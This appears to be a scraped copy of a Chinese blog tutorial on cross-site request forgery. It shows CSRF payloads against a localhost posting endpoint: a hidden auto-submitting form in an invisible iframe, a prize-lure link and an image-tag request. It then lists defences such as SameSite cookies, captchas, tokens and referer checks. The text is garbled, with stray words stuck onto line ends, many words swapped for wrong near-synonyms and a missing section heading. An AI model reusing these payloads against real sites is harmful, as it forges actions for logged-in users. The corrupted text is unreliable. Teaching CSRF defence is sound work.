Web 漏洞分析与防护之 CSRF(二)

原文地址:Web 漏洞分析与防护之 CSRF(二)
博客地址:www.extlight.comjavascript

1、全称

跨站请求伪造(Cross-site Request Forgery)html

2、原理

在用户登录目标网站后,后端会返回用户登录的凭证到前端(浏览器的 cookie)。攻击者诱使用户点击某个超连接,该超连接会发送恶意请求(会携带用户的 cookie),从而冒充用户完成业务请求(发帖、盗取用户资金等)。前端

3、攻击方式

笔者以网站的发帖功能为案例对 CSRF 攻击进行简单的讲解。java

3.1 提交 form 表单

下图为模拟攻击演示图:chrome

image
image

如下是演示图中,"CSRF 攻击.html" 文件的源码。后端

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>测试</title>
</head>
<body>
<script type="text/javascript"> document.write(` <form id="myForm" name="myForm" target="csrf" method="post" action="http://localhost:8080/article/save"> <input type="hidden" name="userName" value="李四" /> <textarea name="content">表单攻击</textarea> </form> `); var iframe = document.createElement("iframe"); iframe.name = "csrf"; iframe.style.display = "none"; document.body.appendChild(iframe); setTimeout(function() { document.getElementById("myForm").submit(); },1000); </script>
</body>
</html>复制代码

实际案例中,攻击者会先了解目标网站请求的 url,经过诱惑登录用户点击某个超连接,该连接指向相似上文的 html 页面(第三方网站)。由于是用户在本身浏览器点击的超连接,所以会自动携带用户浏览器中的 cookie,这样在第三方网站就能够冒充用户发起请求。浏览器

须要补充的是,点击第三方的超连接会携带本地浏览器的 cookie,可是第三方网站不能对这些 cookie 进行读写。cookie

3.2 点击超连接

若是目标网站容许 get 请求,可经过超连接攻击。以下图:app

image
image

超连接源码以下:post

<a href="http://localhost:8080/article/save?userName=李四&content=超连接攻击">点击获取现金大奖</a>复制代码

3.3 加载图片方式

更加粗暴的方式就是经过图片发送请求,以下图:

image
image

图片源码以下:

<img src="http://localhost:8080/article/save?userName=李四&content=图片攻击" />复制代码

4、防护

CSRF 攻击的一个特色是绕过目标网站的前端页面(没法获知页面的信息,如:验证码,token),在第三方网站发送请求到目标网站后端。

在网站后端,用户登录功能的代码中,设置 cookie 的 SameSite 的值为 Strict 返回给浏览器。

缺点:目前只有 chrome 和 opera 支持该属性。

4.2 使用验证码

以论坛发帖为例,在发帖时,设置一个验证码,发帖后在后端进行校验。CSRF 攻击无法获取到验证码,从而目标网站获得了防护。

4.3 使用 token

继续以论坛发帖为例,在论坛后端跳转发帖页面的代码中随机生成一个 N 位数的数字/字符串做为 token,设置到 cookie 和任意变量名的变量中(最终放入到前端的 form 表单中)。当用户在页面发帖后,后端接收和校验 cookie 中的 token 和 页面提交的 token 是否一致。若是一致,则说明是用户合法操做。

4.4 判断 referer

referer 是 http 的请求头,用户发送请求后,在后端获取该请求头,判断它的值是否包含目标网站的域名。若是包含说明操做合法。

5、参考资料

相关文章
相关标签/搜索